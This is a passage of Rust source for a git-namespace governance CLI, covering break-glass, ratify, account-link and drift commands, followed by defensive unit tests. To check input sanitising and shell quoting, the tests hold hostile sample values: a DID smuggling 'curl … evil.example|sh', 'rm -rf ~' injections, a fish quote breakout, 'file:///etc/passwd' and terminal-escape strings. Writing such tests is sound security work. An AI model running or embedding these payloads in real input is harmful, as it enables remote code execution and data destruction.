"resource": resource.to_lowercase(),
"justification": justification,
});
let payload: specs::right::break_glass::v0_1::Payload = serde_json::from_value(payload)
.map_err(|e| format!("that break-glass is not well formed: {e}"))?;
let client = anon();
let type_uri = vtc_client::git_ns::GIT_NS_BREAK_GLASS_TYPE;
let doc = client.git_ns_sign(type_uri, &payload, &key).await?;
eprintln!(
"{DIM}Every community administrator and every admin of this namespace will be \
told, with your justification, and the grant stays flagged until one of \
them ratifies or revokes it.{RESET}"
);
let v = send_with_step_up(&client, &target.base, type_uri, &doc, &did).await?;
show(&v)
}
GitCommands::Ratify {
resource,
subject,
right,
break_glass_at,
statement,
} => {
let subject = did_arg("--subject", &subject)?;
let (did, key) = signing_key(keyring_key)?;
let mut payload = json!({
"subject": subject,
"right": right.as_str(),
"resource": resource.to_lowercase(),
"breakGlassAt": break_glass_at,
});
if let Some(s) = statement {
payload["statement"] = json!(s);
}
let payload: specs::right::ratify::v0_1::Payload = serde_json::from_value(payload)
.map_err(|e| format!("that ratification is not well formed: {e}"))?;
let resp = anon()
.git_ns_ratify(&payload, &key)
.await
.map_err(|e| explain(e, &did))?;
show(&resp)
}
GitCommands::Link {
forge,
list,
status,
no_wait,
} => {
let (did, key) = signing_key(keyring_key)?;
let client = anon();
let json_mode = is_json_output();
if list {
let resp = client
.git_ns_view_v2(None, &key)
.await
.map_err(|e| explain(e, &did))?;
let accounts = serde_json::to_value(&resp)?["accounts"].take();
if json_mode {
return Ok(print_json(&json!({ "accounts": accounts }))?);
}
let lines = account_lines(&accounts);
if lines.is_empty() {
println!(
"No forge account is linked to {}. Link one:\n {} git link --forge <forge>",
terminal_safe(&did),
shell_word(bin_name())
);
}
for line in lines {
println!("{line}");
}
return Ok(());
}
let (link_id, deadline) = match (status, forge) {
(Some(id), _) => (id, None),
(None, Some(forge)) => {
let forge = forge.to_lowercase();
let v = serde_json::to_value(
client
.git_ns_link_account(&forge, &key)
.await
.map_err(|e| explain(e, &did))?,
)?;
let text = link_instructions(&forge, &v)?;
if no_wait && json_mode {
return Ok(print_json(&v)?);
}
if json_mode {
eprintln!("{text}");
} else {
println!("{text}");
}
if no_wait {
return Ok(());
}
let deadline = v
.get("expiresAt")
.and_then(Value::as_str)
.and_then(|t| chrono::DateTime::parse_from_rfc3339(t).ok())
.map(|t| t.with_timezone(&chrono::Utc));
let link_id = v
.get("linkId")
.and_then(Value::as_str)
.unwrap_or_default()
.to_string();
(link_id, deadline)
}
(None, None) => return Err("name the forge to link: --forge <host>".into()),
};
let v = if no_wait {
serde_json::to_value(
client
.git_ns_link_status(&link_id, &key)
.await
.map_err(|e| explain(e, &did))?,
)?
} else {
eprintln!(
"{DIM}Waiting for the forge to confirm (Ctrl-C stops waiting; the link \
continues){RESET}"
);
follow_link(&client, &key, &did, &link_id, deadline).await?
};
finish_link(&mut std::io::stdout(), json_mode, &v, &did, &link_id)
}
GitCommands::Unlink { forge, account_id } => {
let (did, key) = signing_key(keyring_key)?;
let client = anon();
let forge = forge.to_lowercase();
let account_id = match account_id {
Some(id) => id,
None => {
let resp = client.git_ns_view_v2(None, &key).await.map_err(|e| {
format!(
"{}\nIf you are no longer a current member you can still unlink, \
naming the account:\n {} git unlink --forge {} --account-id <id>",
explain(e, &did),
shell_word(bin_name()),
shell_word(&terminal_safe(&forge))
)
})?;
let accounts = serde_json::to_value(&resp)?["accounts"].take();
linked_account_id(&accounts, &forge).ok_or_else(|| {
format!(
"no account is linked to {} on {}. See what is linked:\n {} git \
link --list",
terminal_safe(&did),
terminal_safe(&forge),
shell_word(bin_name())
)
})?
}
};
let v = serde_json::to_value(
client
.git_ns_unlink_account(&forge, Some(&account_id), &key)
.await
.map_err(|e| explain(e, &did))?,
)?;
if is_json_output() {
return Ok(print_json(&v)?);
}
println!("{}", unlink_line(&v, &did));
Ok(())
}
GitCommands::BreakGlassList { namespace } => {
let vtc = vtc_target::connect(keyring_key, target).await?;
let v = vtc
.client
.git_ns_break_glass_list(namespace.as_deref())
.await?;
if is_json_output() {
return Ok(print_json(&v)?);
}
let items = v["items"].as_array().cloned().unwrap_or_default();
if items.is_empty() {
println!("No break-glass records.");
}
for it in &items {
println!(
"{BOLD}{}{RESET} {} {} {} — {}",
terminal_safe(it["state"].as_str().unwrap_or_default()),
terminal_safe(it["resource"].as_str().unwrap_or_default()),
terminal_safe(it["right"].as_str().unwrap_or_default()),
terminal_safe(it["subject"].as_str().unwrap_or_default()),
terminal_safe(
it.pointer("/breakGlass/justification")
.and_then(Value::as_str)
.unwrap_or_default()
),
);
if it["state"] != "ratified" {
println!(" ratify: {}", ratify_command(it));
println!(
" revoke: {} git revoke --subject {} --right {} --resource {}",
shell_word(bin_name()),
shell_word(it["subject"].as_str().unwrap_or_default()),
shell_word(it["right"].as_str().unwrap_or_default()),
shell_word(it["resource"].as_str().unwrap_or_default()),
);
}
}
Ok(())
}
GitCommands::Drift {
command:
DriftCommands::Resolve {
resource,
action,
kind,
account_id,
account_login,
observed,
subject,
reason,
},
} => {
let subject = subject
.map(|s| did_arg("--subject", s.trim()))
.transpose()?;
let (did, key) = signing_key(keyring_key)?;
let payload = drift_payload(
&resource,
action,
kind,
account_id,
account_login,
observed,
subject,
reason,
)?;
let payload: specs::drift::resolve::v0_3::Payload = serde_json::from_value(payload)
.map_err(|e| format!("that resolution is not well formed: {e}"))?;
let resp = anon()
.git_ns_drift_resolve_v3(&payload, &key)
.await
.map_err(|e| explain(e, &did))?;
show(&resp)
}
GitCommands::Reproject { resource, reason } => {
let (did, key) = signing_key(keyring_key)?;
let resp = anon()
.git_ns_reproject(&resource.to_lowercase(), reason.as_deref(), &key)
.await
.map_err(|e| explain(e, &did))?;
if is_json_output() {
return show(&resp);
}
if resp.repos.is_empty() {
println!("No active or orphaned repository in {resource}: nothing to re-project.");
} else {
println!(
"Queued a re-projection of {} repositor{}; the bridge applies its current \
role map:",
resp.repos.len(),
if resp.repos.len() == 1 { "y" } else { "ies" }
);
for r in &resp.repos {
println!(" {}", r.as_str());
}
}
Ok(())
}
GitCommands::Reseat {
namespace,
subject,
statement,
} => {
let subject = did_arg("--subject", &subject)?;
let (did, key) = signing_key(keyring_key)?;
let resp = anon()
.git_ns_reseat(&namespace, &subject, &statement, &key)
.await
.map_err(|e| explain(e, &did))?;
show(&resp)
}
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn an_elevated_refusal_says_a_community_administrator_is_needed() {
let g = guidance(
"permissionDenied",
"repo.transfer is a elevated action … (`[git_ns] elevated_requires_admin`)",
"did:key:z",
);
assert!(g.contains("without a community administrator"), "{g}");
}
#[tokio::test]
async fn the_bind_notice_is_written_before_the_request_is_sent() {
use std::sync::atomic::{AtomicBool, Ordering};
struct Probe<'a> {
sent: &'a AtomicBool,
text: Vec<u8>,
}
impl std::io::Write for Probe<'_> {
fn write(&mut self, buf: &[u8]) -> std::io::Result<usize> {
assert!(
!self.sent.load(Ordering::SeqCst),
"the notice came after the request"
);
self.text.extend_from_slice(buf);
Ok(buf.len())
}
fn flush(&mut self) -> std::io::Result<()> {
Ok(())
}
}
let sent = AtomicBool::new(false);
let mut out = Probe {
sent: &sent,
text: Vec::new(),
};
announce_then(&mut out, &bind_notice("github.com", "acme"), async {
sent.store(true, Ordering::SeqCst)
})
.await;
assert!(sent.load(Ordering::SeqCst));
let text = String::from_utf8(out.text).unwrap();
assert!(text.contains("github.com/acme will be published"), "{text}");
}
#[test]
fn a_last_owner_refusal_names_the_grant_that_resolves_it() {
let g = guidance("git-ns:lastOwner", "last owner", "did:key:z");
assert!(g.contains("--right git.repo.own"), "{g}");
}
#[test]
fn drift_resolve_arguments_become_the_specifications_selector() {
const BOB: &str = "did:webvh:QmBobScid2:acme-vtc.example:bob";
let p = drift_payload(
"GitHub.com/Acme/Widgets",
DriftAction::Revert,
DriftTypeArg::RoleAdded,
Some("5550123".into()),
Some("eve-dev".into()),
Some("write".into()),
None,
None,
)
.unwrap();
assert_eq!(
p,
json!({
"resource": "github.com/acme/widgets",
"action": "revert",
"drift": {
"type": "roleAdded",
"account": { "forge": "github.com", "id": "5550123", "login": "eve-dev" },
"observed": "write"
}
})
);
let _: specs::drift::resolve::v0_3::Payload = serde_json::from_value(p).unwrap();
let p = drift_payload(
"github.com/acme/widgets",
DriftAction::Adopt,
DriftTypeArg::RoleAdded,
Some("9120045".into()),
Some("bob-builds".into()),
Some("maintain".into()),
Some(BOB.into()),
None,
)
.unwrap();
assert_eq!(p["subject"], json!(BOB));
assert_eq!(p["action"], "adopt");
let _: specs::drift::resolve::v0_3::Payload = serde_json::from_value(p).unwrap();
let err =
|action, kind, id: Option<&str>, observed: Option<&str>, subject: Option<&str>| {
drift_payload(
"github.com/a/b",
action,
kind,
id.map(str::to_string),
None,
observed.map(str::to_string),
subject.map(str::to_string),
None,
)
.is_err()
};
assert!(err(
DriftAction::Revert,
DriftTypeArg::RoleAdded,
None,
None,
None
));
assert!(err(
DriftAction::Revert,
DriftTypeArg::BootstrapMissing,
Some("1"),
None,
None
));
assert!(err(
DriftAction::Adopt,
DriftTypeArg::RoleChanged,
Some("1"),
None,
Some(BOB)
));
assert!(err(
DriftAction::Adopt,
DriftTypeArg::RoleAdded,
Some("1"),
Some("maintain"),
None
));
assert!(err(
DriftAction::Revert,
DriftTypeArg::RoleAdded,
Some("1"),
Some("write"),
Some(BOB)
));
}
#[test]
fn a_subject_changed_refusal_says_to_read_the_link_again() {
let g = guidance(
"git-ns/drift/resolve:subjectChanged",
"linked to another member",
"did:key:z",
);
assert!(g.contains("view --admin"), "{g}");
}
#[test]
fn a_not_revertible_refusal_explains_the_bridge_version() {
let g = guidance("git-ns/drift/resolve:notRevertible", "refused", "did:key:z");
assert!(g.contains("bridge/job 0.4"), "{g}");
}
#[test]
fn a_self_grant_refusal_gives_the_generic_separation_of_duties_help() {
let g = guidance("git-ns:selfGrantNotAllowed", "refused", "did:key:z");
assert!(
g.ends_with(
"\nThis would give you an elevated right (own, repo.create or ns.admin) on your \
own authority. Ask another community administrator to do it, or use break-glass \
(`cnm git break-glass`), which is audited and must be ratified."
),
"{g}"
);
}
#[test]
fn a_did_argument_that_is_not_did_core_is_refused_before_signing() {
for bad in [
"did:web:x.example$(curl${IFS}-s${IFS}evil.example|sh)",
"did:web:x;id",
"did:web:x y",
"did:web:x#k-1",
] {
assert!(did_arg("--subject", bad).is_err(), "{bad}");
}
assert!(did_arg("--subject", "did:webvh:QmScid:acme-vtc.example:bob").is_ok());
}
#[test]
fn printed_commands_quote_what_a_shell_would_interpret() {
assert_eq!(shell_word("cnm"), "cnm");
assert_eq!(
shell_word("did:webvh:QmScid:acme.example"),
"did:webvh:QmScid:acme.example"
);
assert_eq!(shell_word("a b"), "'a b'");
assert_eq!(shell_word("$(id)"), "'$(id)'");
assert_eq!(shell_word("it's"), r#"'it'"'"'s'"#);
assert_eq!(shell_word("'"), r#""'""#);
assert_eq!(shell_word("\\"), r#""\\""#);
assert_eq!(
shell_word(FISH_BREAKOUT),
r#"'x'"\\""'"' ; echo INJECTED ; echo '"\\""#
);
assert_eq!(shell_word(""), "''");
assert_eq!(shell_word("-x"), "'-x'");
assert_eq!(shell_word("=ls"), "'=ls'");
assert_eq!(shell_word("%self"), "'%self'");
assert_eq!(shell_word("a=b"), "a=b");
let g = guidance("git-ns:lastOwner", "evil\u{1b}[2Jmsg", "did:key:z\u{7}");
assert!(!g.chars().any(|c| c.is_control() && c != '\n'), "{g:?}");
let g = guidance("x\u{1b}]0;pwned\u{7}", "m", "did:key:z");
assert!(!g.chars().any(|c| c.is_control() && c != '\n'), "{g:?}");
}
const FISH_BREAKOUT: &str = r"x\' ; echo INJECTED ; echo \";
fn argv_in(shell: &str, words: &str) -> Option<Vec<String>> {
let home = std::env::temp_dir().join("cnm-shell-word-test-home");
std::fs::create_dir_all(&home).ok()?;
let out = std::process::Command::new(shell)
.arg("-c")
.arg(format!(r"env printf '%s\0' {words}"))
.env_clear()
.env("PATH", std::env::var_os("PATH").unwrap_or_default())
.env("HOME", &home)
.stderr(std::process::Stdio::null())
.output()
.ok()?;
assert!(out.status.success(), "{shell} failed on {words:?}");
let text = String::from_utf8(out.stdout).expect("utf-8");
let mut v: Vec<String> = text.split('\0').map(str::to_string).collect();
v.pop();
Some(v)
}
#[test]
fn printed_words_round_trip_in_sh_bash_zsh_and_fish() {
let hostile = [
FISH_BREAKOUT,
"it's",
"'",
r"\",
r"\\",
r"\'",
r"'\",
r"a\'b\\'c",
"$(echo INJECTED)",
"${HOME}",
"$fish_pid",
"`echo INJECTED`",
"(echo INJECTED)",
"line one\nline two\n",
"emoji \u{1f980} and \u{fc}n\u{ef}c\u{f6}d\u{e9}",
"-rf",
"--help",
"=ls",
"%self",
"~root",
"*",
"{a,b}",
"a;b|c&d>e<f",
"\"double\" quotes",
"#hash",
"",
" ",
"did:webvh:QmScid:acme.example",
];
let words = hostile
.iter()
.map(|v| shell_word(v))
.collect::<Vec<_>>()
.join(" ");
let mut ran = 0;
for shell in ["sh", "bash", "zsh", "fish"] {
let Some(argv) = argv_in(shell, &words) else {
assert_ne!(shell, "sh", "sh must be runnable");
continue;
};
assert_eq!(argv, hostile, "{shell}");
ran += 1;
}
assert!(ran >= 1);
}
#[test]
fn drift_refusals_name_the_remedy_that_applies() {
let g = guidance(
"git-ns/drift/resolve:notAdoptable",
"`maintain` is no higher than what the member already holds",
"did:key:z",
);
assert!(g.contains("git revoke"), "{g}");
let g = guidance(
"git-ns/drift/resolve:notAdoptable",
"a `requiredCheckMissing` item records no right",
"did:key:z",
);
assert!(g.contains("revert --type"), "{g}");
let g = guidance(
"git-ns/drift/resolve:notRevertible",
"github.com/acme is governed in manual mode",
"did:key:z",
);
assert!(g.contains("on the forge yourself"), "{g}");
let g = guidance(
"git-ns/drift/resolve:notRevertible",
"that account belongs to a member the projection gives a role here",
"did:key:z",
);
assert!(g.contains("git revoke"), "{g}");
}
#[test]
fn link_instructions_show_the_code_and_how_to_follow_the_link() {
let device = json!({
"linkId": "lnk_4Tq9Xw2P",
"url": "https://github.com/login/device",
"userCode": "WDJB-MJHT",
"expiresAt": "2026-09-23T10:15:00Z",
});
let t = link_instructions("github.com", &device).unwrap();
assert!(t.contains("https://github.com/login/device"), "{t}");
assert!(t.contains("WDJB-MJHT"), "{t}");
assert!(t.contains("git link --status lnk_4Tq9Xw2P"), "{t}");
let pkce = json!({
"linkId": "lnk_8Rm3Kd7Q",
"url": "https://codeberg.org/login/oauth/authorize?client_id=acme-vgi&state=Zp4v",
"expiresAt": "2026-09-23T10:15:00Z",
});
let t = link_instructions("codeberg.org", &pkce).unwrap();
assert!(!t.contains("enter the code"), "{t}");
let hostile = json!({
"linkId": "lnk_1; rm -rf ~",
"url": "https://x.example/\u{1b}]0;pwned\u{7}",
"userCode": "AB\u{1b}[2J",
"expiresAt": "2026-09-23T10:15:00Z",
});
let t = link_instructions("github.com", &hostile).unwrap();
assert!(!t.contains('\u{7}') && !t.contains("\u{1b}]"), "{t:?}");
assert!(t.contains("--status 'lnk_1; rm -rf ~'"), "{t}");
}
#[test]
fn bidi_and_zero_width_characters_never_reach_the_terminal() {
for c in [
'\u{202A}',
'\u{202B}',
'\u{202C}',
'\u{202D}',
'\u{202E}',
'\u{2066}',
'\u{2067}',
'\u{2068}',
'\u{2069}',
'\u{200B}',
'\u{200C}',
'\u{200D}',
'\u{200E}',
'\u{200F}',
'\u{FEFF}',
'\u{00AD}',
'\u{2060}',
'\u{E0041}',
] {
assert_eq!(
terminal_safe(&format!("a{c}b")),
"a?b",
"U+{:04X}",
u32::from(c)
);
}
assert_eq!(terminal_safe("ünïcödé \u{1f980}"), "ünïcödé \u{1f980}");
let v = json!({
"linkId": "lnk_\u{202E}x",
"url": "https://github.com/login/device\u{202E}moc.live",
"userCode": "WD\u{2066}JB",
"expiresAt": "2026-09-23T10:15:00Z",
});
let t = link_instructions("github.com", &v).unwrap();
assert!(
!t.chars()
.any(|c| is_format_char(c) || (c.is_control() && c != '\n' && c != '\x1b')),
"{t:?}"
);
assert!(
t.contains("https://github.com/login/device%E2%80%AEmoc.live"),
"{t}"
);
let g = guidance("git-ns:lastOwner", "evil\u{202E}txt", "did:key:z");
assert!(!g.chars().any(is_format_char), "{g:?}");
}
#[test]
fn an_authorisation_url_that_is_not_https_is_refused_before_printing() {
for bad in [
"http://github.com/login/device",
"javascript:alert(1)",
"file:///etc/passwd",
"https://",
"https://user:pass@github.com/login/device",
"not a url",
"",
] {
let v = json!({ "linkId": "lnk_1", "url": bad, "expiresAt": "2026-09-23T10:15:00Z" });
let e = link_instructions("github.com", &v).unwrap_err();
assert!(e.contains("will not show"), "{bad}: {e}");
}
let v = json!({ "linkId": "lnk_1", "expiresAt": "2026-09-23T10:15:00Z" });
assert!(link_instructions("github.com", &v).is_err());
let v = json!({
"linkId": "lnk_1",
"url": "https://gÑ–thub.com/login/device",
"expiresAt": "2026-09-23T10:15:00Z",
});
let t = link_instructions("github.com", &v).unwrap();
assert!(t.contains("https://xn--"), "{t}");
}
#[test]
fn link_states_other_than_linked_are_errors_in_both_modes() {
let did = "did:webvh:QmBobScid2:acme-vtc.example:bob";
let linked = json!({
"state": "linked",
"account": { "forge": "github.com", "id": "9120045", "login": "bob-builds" },
});
for json_mode in [false, true] {
let mut out = Vec::new();
finish_link(&mut out, json_mode, &linked, did, "lnk_1").unwrap();
let text = String::from_utf8(out).unwrap();
if json_mode {
let back: Value = serde_json::from_str(&text).unwrap();
assert_eq!(back, linked);
} else {
assert!(
text.contains("bob-builds") && text.contains("9120045"),
"{text}"
);
}
for (state, hint) in [
("expired", "git link --forge"),
("failed", "git link --list"),
("pending", "git link --status lnk_1"),
("odd", "does not know"),
] {
let v = json!({ "state": state });
let mut out = Vec::new();
let e = finish_link(&mut out, json_mode, &v, did, "lnk_1")
.unwrap_err()
.to_string();
assert!(e.contains(hint), "{state}: {e}");
let text = String::from_utf8(out).unwrap();
if json_mode {
let back: Value = serde_json::from_str(&text)
.unwrap_or_else(|e| panic!("{state}: stdout is not JSON ({e}): {text}"));
assert_eq!(back, v);
} else {
assert!(text.is_empty(), "{state}: {text}");
}
}
}
}
#[test]
fn a_failed_link_names_both_causes() {
let LinkEnd::NotLinked(e) = link_end(&json!({ "state": "failed" }), "did:key:z", "l")
else {
panic!("failed is not linked");
};
assert!(e.contains("the forge refused it"), "{e}");
assert!(e.contains("already linked to another member"), "{e}");
}
async fn follow_states(
states: &[&str],
deadline: Option<chrono::DateTime<chrono::Utc>>,
start: chrono::DateTime<chrono::Utc>,
) -> (Value, usize) {
use std::cell::Cell;
let asks = Cell::new(0usize);
let clock = Cell::new(start);
let v = follow(
|| {
let i = asks.get();
asks.set(i + 1);
let state = states[i.min(states.len() - 1)];
async move { Ok(json!({ "state": state })) }
},
deadline,
|| clock.get(),
|| {
clock.set(clock.get() + chrono::Duration::seconds(5));
async {}
},
)
.await
.unwrap();
(v, asks.get())
}
#[tokio::test]
async fn following_a_link_stops_at_a_final_state_or_past_the_deadline() {
let t0 = chrono::DateTime::parse_from_rfc3339("2026-09-23T10:00:00Z")
.unwrap()
.with_timezone(&chrono::Utc);
let (v, asks) = follow_states(&["pending", "pending", "linked"], None, t0).await;
assert_eq!((v["state"].as_str(), asks), (Some("linked"), 3));
let (v, asks) = follow_states(&["failed"], Some(t0), t0).await;
assert_eq!((v["state"].as_str(), asks), (Some("failed"), 1));
let (v, asks) =
follow_states(&["pending"], Some(t0 + chrono::Duration::seconds(60)), t0).await;
assert_eq!(v["state"].as_str(), Some("pending"));
assert_eq!(asks, 20);
let (_, asks) =
follow_states(&["pending"], Some(t0 - chrono::Duration::hours(1)), t0).await;
assert_eq!(asks, 1);
}
#[test]
fn linked_accounts_are_listed_one_per_line() {
let accounts = json!([
{
"account": { "forge": "github.com", "id": "9120045", "login": "bob-builds" },
"linkedAt": "2026-09-23T10:02:14Z",
},
{
"account": { "forge": "codeberg.org", "id": "311", "login": "bob" },
"linkedAt": "2026-09-24T08:00:00Z",
},
]);
let lines = account_lines(&accounts);
assert_eq!(lines.len(), 2);
assert!(lines[0].contains("github.com") && lines[0].contains("bob-builds"));
assert!(lines[1].contains("codeberg.org") && lines[1].contains("311"));
assert!(account_lines(&json!([])).is_empty());
}
#[test]
fn unlink_names_the_account_linked_on_that_forge() {
let accounts = json!([
{ "account": { "forge": "codeberg.org", "id": "77", "login": "bob-cb" }, "linkedAt": "x" },
{ "account": { "forge": "github.com", "id": "9120045", "login": "bob-builds" }, "linkedAt": "x" },
]);
assert_eq!(
linked_account_id(&accounts, "github.com").as_deref(),
Some("9120045")
);
assert_eq!(linked_account_id(&accounts, "gitlab.com"), None);
assert_eq!(linked_account_id(&json!([]), "github.com"), None);
let line = unlink_line(
&json!({
"unlinked": { "forge": "github.com", "id": "9120045", "login": "bob\u{202E}evil" },
"unlinkedAt": "2026-09-25T09:30:01Z",
}),
"did:key:z",
);
assert!(
line.contains("9120045") && line.contains("bob?evil"),
"{line}"
);
let g = guidance("git-ns/account/unlink:notLinked", "no account", "did:key:z");
assert!(g.contains("git link --list"), "{g}");
}
#[test]
fn link_refusals_name_the_fix() {
let g = guidance(
"git-ns/account/link:unsupportedForge",
"this VTC has no bridge-mode namespace on gitlab.com to complete a link",
"did:key:z",
);
assert!(g.contains("git namespace list"), "{g}");
let g = guidance(
"permissionDenied",
"linking a forge account is for members of this community",
"did:key:z",
);
assert!(g.contains("not one here") && !g.contains("git view"), "{g}");
let g = guidance(
"git-ns/account/link-status:unknownLink",
"no link",
"did:key:z",
);
assert!(g.contains("git link --forge"), "{g}");
}
#[test]
fn the_step_up_link_carries_the_request_as_unpadded_base64url() {
assert_eq!(base64url(b"hi"), "aGk");
assert_eq!(base64url(b"\xff\xfe\xfd"), "__79");
assert_eq!(base64url(b"abcd"), "YWJjZA");
let url = step_up_url("https://vtc.example/", &json!({ "challenge": "c" }));
assert!(
url.starts_with("https://vtc.example/admin/step-up#request="),
"{url}"
);
assert!(
!url.split("request=").nth(1).unwrap().contains('='),
"{url}"
);
}
#[test]
fn the_printed_ratify_command_is_shell_safe() {
let record = json!({
"subject": "did:key:z6MkAbc",
"right": "git.repo.own",
"resource": "github.com/acme/widgets",
"breakGlass": { "at": "2026-09-25T02:10:31Z" },
});
let cmd = ratify_command(&record);
assert!(
cmd.contains("git ratify --subject=did:key:z6MkAbc --right=git.repo.own"),
"{cmd}"
);
assert!(
cmd.ends_with("--break-glass-at=2026-09-25T02:10:31Z"),
"{cmd}"
);
let evil = json!({ "subject": "did:key:z'; rm -rf ~", "right": "git.repo.own", "resource": "x", "breakGlass": { "at": "t" } });
assert!(ratify_command(&evil).contains("'did:key:z'\"'\"'; rm -rf ~'"));
}
#[test]
fn right_arguments_carry_the_wire_spelling() {
assert_eq!(RightArg::CommitSign.as_str(), "git.commit.sign");
assert_eq!(RightArg::NsAdmin.as_str(), "git.ns.admin");
}
}